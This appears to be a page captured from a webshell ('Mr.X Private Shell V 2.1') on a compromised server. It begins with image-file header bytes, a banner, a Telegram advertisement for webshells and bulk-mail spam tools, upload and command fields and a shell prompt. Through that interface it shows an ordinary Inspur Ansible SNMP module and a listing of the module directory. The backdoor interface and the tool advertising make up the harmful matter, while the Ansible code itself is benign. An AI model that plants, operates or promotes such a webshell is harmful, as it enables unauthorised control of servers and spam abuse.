����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
# -*- coding:utf-8 -*-

# Copyright (C) 2020 Inspur Inc. All Rights Reserved.
# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)

from __future__ import (absolute_import, division, print_function)

__metaclass__ = type

DOCUMENTATION = '''
---
module: edit_snmp
version_added: "1.0.0"
author:
    - WangBaoshan (@ispim)
short_description: Set snmp
description:
   - Set snmp on Inspur server.
notes:
   - Does not support C(check_mode).
options:
    version:
        description:
            - SNMP trap version option, 0 - 'v1', 1 - 'v2c', 2 - 'v3', 3 - 'all', 4 - 'customize'.
            - Only the M5 models support this feature.
        choices: [0, 1, 2, 3, 4]
        type: int
    snmp_status:
        description:
            - NMP read/write status of customize,
            - the input parameters are 'v1get', 'v1set', 'v2cget', 'v2cset', 'v3get', 'v3set',separated by commas,such as v1get,v1set,v2cget.
            - Only the M5 models support this feature.
        type: list
        elements: str
    community:
        description:
            - Community of v1/v2c or v1get/v1set/v2cget/v2cset.
            - Only the M5 models support this feature.
        type: str
    v1status:
        description:
            - SNMP V1 enable.
        choices: ['enable', 'disable']
        type: str
    v2status:
        description:
            - SNMP V2 enable.
        choices: ['enable', 'disable']
        type: str
    v3status:
        description:
            - SNMP V3 enable.
        choices: ['enable', 'disable']
        type: str
    read_community:
        description:
            - Read Only Community,Community should between 1 and 16 characters.
            - Only the M6 models support this feature.
        type: str
    read_write_community:
        description:
            - Read And Write Community,Community should between 1 and 16 characters.
            - Only the M6 models support this feature.
        type: str
    v3username:
        description:
            - Set user name of V3 trap or v3get/v3set.
        type: str
    auth_protocol:
        description:
            - Choose authentication of V3 trap or v3get/v3set.
        choices: ['NONE', 'SHA', 'MD5']
        type: str
    auth_password:
        description:
            - Set auth password of V3 trap or v3get/v3set,
            - Password is a string of 8 to 16 alpha-numeric characters.
            - Required when I(auth_protocol) is either C(SHA) or C(MD5).
        type: str
    priv_protocol:
        description:
            - Choose Privacy of V3 trap or v3get/v3set.
        choices: ['NONE', 'DES', 'AES']
        type: str
    priv_password:
        description:
            - Set privacy password of V3 trap or v3get/v3set,
            - password is a string of 8 to 16 alpha-numeric characters.
            - Required when I(priv_protocol) is either C(DES) or C(AES).
        type: str
extends_documentation_fragment:
    - inspur.ispim.ism
'''

EXAMPLES = '''
- name: Snmp test
  hosts: ism
  no_log: true
  connection: local
  gather_facts: no
  vars:
    ism:
      host: "{{ ansible_ssh_host }}"
      username: "{{ username }}"
      password: "{{ password }}"

  tasks:

  - name: "Set snmp get/set"
    inspur.ispim.edit_snmp:
      community: "test"
      v3username: "Inspur"
      provider: "{{ ism }}"

'''

RETURN = '''
message:
    description: Messages returned after module execution.
    returned: always
    type: str
state:
    description: Status after module execution.
    returned: always
    type: str
changed:
    description: Check to see if a change was made on the device.
    returned: always
    type: bool
'''

from ansible.module_utils.basic import AnsibleModule
from ansible_collections.inspur.ispim.plugins.module_utils.ism import (ism_argument_spec, get_connection)


class SNMP(object):
    def __init__(self, argument_spec):
        self.spec = argument_spec
        self.module = None
        self.init_module()
        self.results = dict()

    def init_module(self):
        """Init module object"""

        self.module = AnsibleModule(
            argument_spec=self.spec, supports_check_mode=False)

    def run_command(self):
        self.module.params['subcommand'] = 'setsnmp'
        self.results = get_connection(self.module)
        if self.results['State'] == 'Success':
            self.results['changed'] = True

    def show_result(self):
        """Show result"""
        self.module.exit_json(**self.results)

    def work(self):
        """Worker"""
        self.run_command()
        self.show_result()


def main():
    argument_spec = dict(
        version=dict(type='int', required=False, choices=[0, 1, 2, 3, 4]),
        snmp_status=dict(type='list', elements='str', required=False),
        community=dict(type='str', required=False),
        v1status=dict(type='str', required=False, choices=['enable', 'disable']),
        v2status=dict(type='str', required=False, choices=['enable', 'disable']),
        v3status=dict(type='str', required=False, choices=['enable', 'disable']),
        read_community=dict(type='str', required=False),
        read_write_community=dict(type='str', required=False),
        v3username=dict(type='str', required=False),
        auth_protocol=dict(type='str', required=False, choices=['NONE', 'SHA', 'MD5']),
        auth_password=dict(type='str', required=False, no_log=True),
        priv_protocol=dict(type='str', required=False, choices=['NONE', 'DES', 'AES']),
        priv_password=dict(type='str', required=False, no_log=True),
    )
    argument_spec.update(ism_argument_spec)
    snmp_obj = SNMP(argument_spec)
    snmp_obj.work()


if __name__ == '__main__':
    main()

Filemanager

Name Type Size Permission Actions
__pycache__ Folder 0755
__init__.py File 0 B 0644
ad_group.py File 3.98 KB 0644
ad_group_info.py File 2.21 KB 0644
ad_info.py File 2.17 KB 0644
adapter_info.py File 3 KB 0644
add_ldisk.py File 6.29 KB 0644
alert_policy_info.py File 2.17 KB 0644
audit_log_info.py File 3.02 KB 0644
auto_capture_info.py File 2.23 KB 0644
backplane_info.py File 2.21 KB 0644
backup.py File 3.24 KB 0644
bios_export.py File 2.4 KB 0644
bios_import.py File 2.49 KB 0644
bios_info.py File 2.14 KB 0644
bmc_info.py File 2.16 KB 0644
boot_image_info.py File 2.21 KB 0644
boot_option_info.py File 2.17 KB 0644
clear_audit_log.py File 2.29 KB 0644
clear_event_log.py File 2.27 KB 0644
clear_system_log.py File 2.77 KB 0644
collect_blackbox.py File 2.4 KB 0644
collect_log.py File 2.41 KB 0644
connect_media_info.py File 2.26 KB 0644
cpu_info.py File 2.14 KB 0644
del_session.py File 2.46 KB 0644
dns_info.py File 2.14 KB 0644
download_auto_screenshot.py File 2.42 KB 0644
download_manual_screenshot.py File 2.43 KB 0644
edit_ad.py File 4.02 KB 0644
edit_alert_policy.py File 3.98 KB 0644
edit_auto_capture.py File 2.53 KB 0644
edit_bios.py File 3.03 KB 0644
edit_boot_image.py File 2.62 KB 0644
edit_boot_option.py File 2.96 KB 0644
edit_connect_media.py File 3.04 KB 0644
edit_dns.py File 6.65 KB 0644
edit_event_log_policy.py File 2.54 KB 0644
edit_fan.py File 2.95 KB 0644
edit_fru.py File 3.06 KB 0644
edit_ipv4.py File 4.34 KB 0644
edit_ipv6.py File 4.5 KB 0644
edit_kvm.py File 6.26 KB 0644
edit_ldap.py File 5.03 KB 0644
edit_ldisk.py File 3.72 KB 0644
edit_log_setting.py File 4.43 KB 0644
edit_m6_log_setting.py File 4.73 KB 0644
edit_manual_capture.py File 2.53 KB 0644
edit_media_instance.py File 4.91 KB 0644
edit_ncsi.py File 3.48 KB 0644
edit_network.py File 2.87 KB 0644
edit_network_bond.py File 3.1 KB 0644
edit_network_link.py File 3.69 KB 0644
edit_ntp.py File 4.56 KB 0644
edit_pdisk.py File 5.7 KB 0644
edit_power_budget.py File 7.53 KB 0644
edit_power_restore.py File 2.57 KB 0644
edit_power_status.py File 2.64 KB 0644
edit_preserve_config.py File 3.52 KB 0644
edit_psu_config.py File 2.72 KB 0644
edit_psu_peak.py File 2.82 KB 0644
edit_restore_factory_default.py File 3.41 KB 0644
edit_service.py File 4.48 KB 0644
edit_smtp.py File 6.26 KB 0644
edit_smtp_com.py File 5.6 KB 0644
edit_smtp_dest.py File 3.21 KB 0644
edit_snmp.py File 5.6 KB 0644
edit_snmp_trap.py File 6.2 KB 0644
edit_threshold.py File 3.4 KB 0644
edit_uid.py File 2.67 KB 0644
edit_virtual_media.py File 5.26 KB 0644
edit_vlan.py File 3.28 KB 0644
event_log_info.py File 3 KB 0644
event_log_policy_info.py File 2.23 KB 0644
fan_info.py File 2.14 KB 0644
fru_info.py File 2.15 KB 0644
fw_version_info.py File 2.22 KB 0644
gpu_info.py File 2.19 KB 0644
hard_disk_info.py File 2.2 KB 0644
kvm_info.py File 2.14 KB 0644
ldap_group.py File 3.93 KB 0644
ldap_group_info.py File 2.2 KB 0644
ldap_info.py File 2.16 KB 0644
ldisk_info.py File 2.19 KB 0644
log_setting_info.py File 2.23 KB 0644
media_instance_info.py File 2.26 KB 0644
mem_info.py File 2.17 KB 0644
ncsi_info.py File 2.16 KB 0644
network_bond_info.py File 2.2 KB 0644
network_info.py File 2.18 KB 0644
network_link_info.py File 2.2 KB 0644
ntp_info.py File 2.15 KB 0644
onboard_disk_info.py File 2.2 KB 0644
pcie_info.py File 2.16 KB 0644
pdisk_info.py File 2.19 KB 0644
power_budget_info.py File 2.21 KB 0644
power_consumption_info.py File 2.25 KB 0644
power_restore_info.py File 2.22 KB 0644
power_status_info.py File 2.21 KB 0644
preserve_config_info.py File 2.23 KB 0644
psu_config_info.py File 2.19 KB 0644
psu_info.py File 2.14 KB 0644
psu_peak_info.py File 2.18 KB 0644
raid_info.py File 2.21 KB 0644
reset_bmc.py File 2.23 KB 0644
reset_kvm.py File 2.23 KB 0644
restore.py File 2.89 KB 0644
self_test_info.py File 2.18 KB 0644
sensor_info.py File 2.18 KB 0644
server_info.py File 2.21 KB 0644
service_info.py File 2.19 KB 0644
session_info.py File 2.2 KB 0644
smtp_info.py File 2.16 KB 0644
snmp_info.py File 2.18 KB 0644
snmp_trap_info.py File 2.18 KB 0644
support_info.py File 2.2 KB 0644
system_log_info.py File 3.39 KB 0644
temp_info.py File 2.16 KB 0644
threshold_info.py File 2.21 KB 0644
uid_info.py File 2.14 KB 0644
update_cpld.py File 3.01 KB 0644
update_fw.py File 3.89 KB 0644
user.py File 4.14 KB 0644
user_group.py File 5.82 KB 0644
user_group_info.py File 2.21 KB 0644
user_info.py File 2.16 KB 0644
virtual_media_info.py File 2.21 KB 0644
volt_info.py File 2.16 KB 0644